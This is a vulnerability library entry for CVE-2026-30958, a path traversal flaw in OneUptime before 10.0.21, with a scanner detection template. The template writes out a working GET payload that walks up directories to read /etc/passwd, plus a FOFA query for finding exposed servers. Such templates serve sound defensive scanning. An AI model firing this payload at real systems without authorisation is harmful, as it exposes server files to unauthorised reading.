/Vulnerability Library

OneUptime < 10.0.21 - Path Traversal

CVE-2026-30958
Early Release

Description

OneUptime < 10.0.21 contains a path traversal caused by unsanitized componentName parameter in /workflow/docs/:componentName endpoint, letting unauthenticated attackers read arbitrary files from the server filesystem.

Severity

High

CVSS Score

7.2

Exploit Probability

1%

Published Date

June 23, 2026

Template Author

ashvinctrl, iconnnjka

CVE-2026-30958.yaml
id: CVE-2026-30958

info:
  name: OneUptime < 10.0.21 - Path Traversal
  author: ashvinctrl,iconnnjka
  severity: high
  description: |
    OneUptime < 10.0.21 contains a path traversal caused by unsanitized componentName parameter in /workflow/docs/:componentName endpoint, letting unauthenticated attackers read arbitrary files from the server filesystem.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Upgrade to version 10.0.21 or later.
  reference:
    - https://github.com/OneUptime/oneuptime/security/advisories/GHSA-p2wh-9pw8-hvff
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30958
    - https://github.com/OneUptime/oneuptime
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2026-30958
    epss-score: 0.01102
    epss-percentile: 0.61743
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="OneUptime"
  tags: cve,cve2026,oneuptime,lfi,path-traversal,vuln,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/workflow/docs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207f8fd1d0790996b407421feb9eebb2eca4836eccb405e727b3af25814483e6e6022100fa393f4487a7c5817733da7dc7a00f93c8b62183184955533653f8b20414a567:922c64590222798bb761d5b6d8e72950
7.2Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
CVE ID:
cve-2026-30958
CWE ID:
cwe-22

References

https://github.com/OneUptime/oneuptime/security/advisories/GHSA-p2wh-9pw8-hvffhttps://nvd.nist.gov/vuln/detail/CVE-2026-30958https://github.com/OneUptime/oneuptime

Remediation Steps

Upgrade to version 10.0.21 or later.